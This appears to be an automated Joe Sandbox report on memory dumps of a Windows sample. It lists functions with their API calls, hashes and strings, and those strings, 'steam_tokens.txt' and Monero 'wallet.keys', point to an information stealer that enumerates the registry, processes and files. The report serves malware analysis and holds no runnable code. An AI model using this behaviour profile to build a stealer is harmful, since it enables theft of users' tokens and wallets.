Part of subcall function 006F87C0: RtlAllocateHeap.NTDLL(00000000), ref: 006F8836
Part of subcall function 006F87C0: wsprintfA.USER32 ref: 006F8850

Part of subcall function 006F8320: RegOpenKeyExA.KERNEL32(00000000,0165AB60,00000000,00020019,00000000,007005B6), ref: 006F83A4

Part of subcall function 006F8320: RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 006F8426
Part of subcall function 006F8320: wsprintfA.USER32 ref: 006F8459
Part of subcall function 006F8320: RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 006F847B
Part of subcall function 006F8320: RegCloseKey.ADVAPI32(00000000), ref: 006F848C
Part of subcall function 006F8320: RegCloseKey.ADVAPI32(00000000), ref: 006F8499

Part of subcall function 006F8680: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,007005B7), ref: 006F86CA
Part of subcall function 006F8680: Process32First.KERNEL32(?,00000128), ref: 006F86DE
Part of subcall function 006F8680: Process32Next.KERNEL32(?,00000128), ref: 006F86F3
Part of subcall function 006F8680: CloseHandle.KERNEL32(?), ref: 006F8761

lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,00000000,?,00000000,00000000,00000000), ref: 006F265B

Memory Dump Source

Source File: 00000000.00000002.2249130927.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2249105615.00000000006E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000765000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000076F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000791000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000AB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000B8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249778424.0000000000BCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249943231.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249959717.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$Allocate$Closewsprintf$NameOpenlstrcpy$InformationLocal$CurrentHandleInfoKeyboardLayoutListLocaleProcess32StatusSystemTimeUser__aulldivlstrcatlstrlen$AllocComputerCreateDefaultDirectoryEnumErrorFileFirstFreeGlobalLastLogicalMemoryModuleNextPowerProcessorQuerySnapshotToolhelp32ValueVolumeWindowsWow64Zone
String ID:
API String ID: 3113730047-0
Opcode ID: 1a7e3c5fc6ad4b2dcadc902c559fa2193cc2a0f73c092b482fc45a87497c326b
Instruction ID: 5b01e6a26b3a1d93f2ecaeaaf8c37c4441a49d8ac8e0aebf3a5a27a9508c1092
Opcode Fuzzy Hash: 1a7e3c5fc6ad4b2dcadc902c559fa2193cc2a0f73c092b482fc45a87497c326b
Instruction Fuzzy Hash: A47272B2C1111CAADB55FBD0DC91DFE737EAF14340F5082ADB22A62095DF702B49CA69

Function 006E6D40 Relevance: 3.2, APIs: 2, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2249130927.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2249105615.00000000006E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000765000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000076F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000791000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000AB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000B8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249778424.0000000000BCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249943231.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249959717.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c2761e4af5f947e3f17d3a33e3e727d8e4dd04dc387f24037d342d92b11804e
Instruction ID: a2535fb8adcf1a3c2a0fefc2439a9ac1911ef4b04c2627d570ad399ddbeff482
Opcode Fuzzy Hash: 7c2761e4af5f947e3f17d3a33e3e727d8e4dd04dc387f24037d342d92b11804e
Instruction Fuzzy Hash: 666134B4901248EFCB14CF95E984BEEB7B2BB18344F208198F419A7380D775AE95DF91

Function 006F5100 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 40stringCOMMON

Download Yara Rule

APIs

Part of subcall function 006FA740: lstrcpy.KERNEL32(00700E17,00000000), ref: 006FA788

Part of subcall function 006FA820: lstrlen.KERNEL32(006E4F05,?,?,006E4F05,00700DDE), ref: 006FA82B
Part of subcall function 006FA820: lstrcpy.KERNEL32(00700DDE,00000000), ref: 006FA885

lstrlen.KERNEL32(00000000,00000000,00700ACA), ref: 006F512A

Strings

steam_tokens.txt, xrefs: 006F513F

Memory Dump Source

Source File: 00000000.00000002.2249130927.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2249105615.00000000006E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000765000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000076F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000791000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000AB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000B8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249778424.0000000000BCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249943231.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249959717.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID: steam_tokens.txt
API String ID: 2001356338-401951677
Opcode ID: d5dd670fd9992e44b1423c1b34d1be5ed3a17f596ddcab26c35ebdb18dd18541
Instruction ID: a8fe7ff272285e7badcce988a7d28767f6e9593ccf2a3adf5ad148e54f2fc1df
Opcode Fuzzy Hash: d5dd670fd9992e44b1423c1b34d1be5ed3a17f596ddcab26c35ebdb18dd18541
Instruction Fuzzy Hash: C3F0FBB191020CA6CB44FBE0DC56DFD773EAB54340F40426CBA5A66092EE346A19D6AA

Function 006F7ED0 Relevance: 3.0, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(00700E2C), ref: 006F7F00
wsprintfA.USER32 ref: 006F7F16

Memory Dump Source

Source File: 00000000.00000002.2249130927.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2249105615.00000000006E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000765000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000076F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000791000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000AB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000B8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249778424.0000000000BCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249943231.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249959717.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: InfoSystemwsprintf
String ID:
API String ID: 2452939696-0
Opcode ID: f5f0a36caf63f60d3312f321ee7a76ca96d631206163dd587e4e91a0ef565328
Instruction ID: 380559a5e567224501af5ff53fb0e8733f4e0ddc2a756dba74f07a569d14cc2a
Opcode Fuzzy Hash: f5f0a36caf63f60d3312f321ee7a76ca96d631206163dd587e4e91a0ef565328
Instruction Fuzzy Hash: 3AF090F2A04208EBCB10CF84DC45FBAF7BCFB48B24F00466AF61592280D77969048BE5

Function 006EB4F0 Relevance: 2.9, APIs: 2, Instructions: 397stringCOMMON

Download Yara Rule

APIs

Part of subcall function 006FA740: lstrcpy.KERNEL32(00700E17,00000000), ref: 006FA788

Part of subcall function 006FA9B0: lstrlen.KERNEL32(?,01658AF0,?,\Monero\wallet.keys,00700E17), ref: 006FA9C5
Part of subcall function 006FA9B0: lstrcpy.KERNEL32(00000000), ref: 006FAA04
Part of subcall function 006FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 006FAA12

Part of subcall function 006FA920: lstrcpy.KERNEL32(00000000,?), ref: 006FA972
Part of subcall function 006FA920: lstrcat.KERNEL32(00000000), ref: 006FA982

Part of subcall function 006FA8A0: lstrcpy.KERNEL32(?,00700E17), ref: 006FA905

Part of subcall function 006FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 006FA7E6

lstrlen.KERNEL32(00000000), ref: 006EB9C2
lstrlen.KERNEL32(00000000), ref: 006EB9D6

Memory Dump Source

Source File: 00000000.00000002.2249130927.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2249105615.00000000006E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000765000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000076F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000791000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000AB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000B8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249778424.0000000000BCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249943231.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249959717.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 2c8d637708896e6c194d8f6e8c496847a3d82a8b8d746b8279500e482951c910
Instruction ID: 5628608de8e0ff6b597e214f594d4195a8ea8d0569922f922cacf58e353b28f7
Opcode Fuzzy Hash: 2c8d637708896e6c194d8f6e8c496847a3d82a8b8d746b8279500e482951c910
Instruction Fuzzy Hash: D1E1EFB292011C9BDB54FBE0CC92DFE733AAF54340F40416DF61A66091EF746A49CBA6

Function 006EAEF0 Relevance: 2.7, APIs: 2, Instructions: 236stringCOMMON

Download Yara Rule

APIs

Part of subcall function 006FA740: lstrcpy.KERNEL32(00700E17,00000000), ref: 006FA788

Part of subcall function 006FA9B0: lstrlen.KERNEL32(?,01658AF0,?,\Monero\wallet.keys,00700E17), ref: 006FA9C5
Part of subcall function 006FA9B0: lstrcpy.KERNEL32(00000000), ref: 006FAA04
Part of subcall function 006FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 006FAA12

Part of subcall function 006FA920: lstrcpy.KERNEL32(00000000,?), ref: 006FA972
Part of subcall function 006FA920: lstrcat.KERNEL32(00000000), ref: 006FA982

Part of subcall function 006FA8A0: lstrcpy.KERNEL32(?,00700E17), ref: 006FA905

lstrlen.KERNEL32(00000000), ref: 006EB16A
lstrlen.KERNEL32(00000000), ref: 006EB17E

Part of subcall function 006FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 006FA7E6

Memory Dump Source

Source File: 00000000.00000002.2249130927.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2249105615.00000000006E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000765000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000076F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000791000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000AB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000B8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249778424.0000000000BCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249943231.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249959717.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 6059b28ad91582f3508211f9cb3102c3015903e81728e522df2b52550e7b00b8
Instruction ID: 15f026e494aaf24a76f73b98790f23dff29214c48c5d69a3a8b39bd7df2e10d0
Opcode Fuzzy Hash: 6059b28ad91582f3508211f9cb3102c3015903e81728e522df2b52550e7b00b8
Instruction Fuzzy Hash: EC9121B292010C9BDB54FBE0DC56DFE737AAF14340F40416DF61AA6091EF746A09CBA6

Function 006EB230 Relevance: 2.7, APIs: 2, Instructions: 205stringCOMMON

Download Yara Rule

APIs

Part of subcall function 006FA740: lstrcpy.KERNEL32(00700E17,00000000), ref: 006FA788

Part of subcall function 006FA9B0: lstrlen.KERNEL32(?,01658AF0,?,\Monero\wallet.keys,00700E17), ref: 006FA9C5
Part of subcall function 006FA9B0: lstrcpy.KERNEL32(00000000), ref: 006FAA04
Part of subcall function 006FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 006FAA12

Part of subcall function 006FA920: lstrcpy.KERNEL32(00000000,?), ref: 006FA972
Part of subcall function 006FA920: lstrcat.KERNEL32(00000000), ref: 006FA982

Part of subcall function 006FA8A0: lstrcpy.KERNEL32(?,00700E17), ref: 006FA905

lstrlen.KERNEL32(00000000), ref: 006EB42E
lstrlen.KERNEL32(00000000), ref: 006EB442

Part of subcall function 006FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 006FA7E6

Memory Dump Source

Source File: 00000000.00000002.2249130927.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2249105615.00000000006E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000765000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000076F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000791000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000AB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000B8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249778424.0000000000BCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249943231.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249959717.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 47187a4d941bf6267fee5881b967e592a8bcb4ebf64b5bdfeb6f63c0a36cc4e7
Instruction ID: 4b005e3193198a4f569095e74e25cabd9a203e5757fa10a220136bee17edbeeb
Opcode Fuzzy Hash: 47187a4d941bf6267fee5881b967e592a8bcb4ebf64b5bdfeb6f63c0a36cc4e7
Instruction Fuzzy Hash: D57122B292010C9BCB54EBE0DC52DFE737ABF14340F40452CF61AA6195EF746A09CBA6

Function 006F4BB0 Relevance: 2.6, APIs: 2, Instructions: 118stringCOMMON

Download Yara Rule

APIs

Part of subcall function 006F8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 006F8E0B

lstrcat.KERNEL32(?,00000000), ref: 006F4BEA
lstrcat.KERNEL32(?,0165D558), ref: 006F4C08

Part of subcall function 006F4910: wsprintfA.USER32 ref: 006F492C
Part of subcall function 006F4910: FindFirstFileA.KERNEL32(?,?), ref: 006F4943

Part of subcall function 006F4910: StrCmpCA.SHLWAPI(?,00700FDC), ref: 006F4971
Part of subcall function 006F4910: StrCmpCA.SHLWAPI(?,00700FE0), ref: 006F4987
Part of subcall function 006F4910: FindNextFileA.KERNEL32(000000FF,?), ref: 006F4B7D
Part of subcall function 006F4910: FindClose.KERNEL32(000000FF), ref: 006F4B92

Part of subcall function 006F4910: wsprintfA.USER32 ref: 006F49B0
Part of subcall function 006F4910: StrCmpCA.SHLWAPI(?,007008D2), ref: 006F49C5
Part of subcall function 006F4910: wsprintfA.USER32 ref: 006F49E2
Part of subcall function 006F4910: PathMatchSpecA.SHLWAPI(?,?), ref: 006F4A1E
Part of subcall function 006F4910: lstrcat.KERNEL32(?,0165E4D0), ref: 006F4A4A
Part of subcall function 006F4910: lstrcat.KERNEL32(?,00700FF8), ref: 006F4A5C
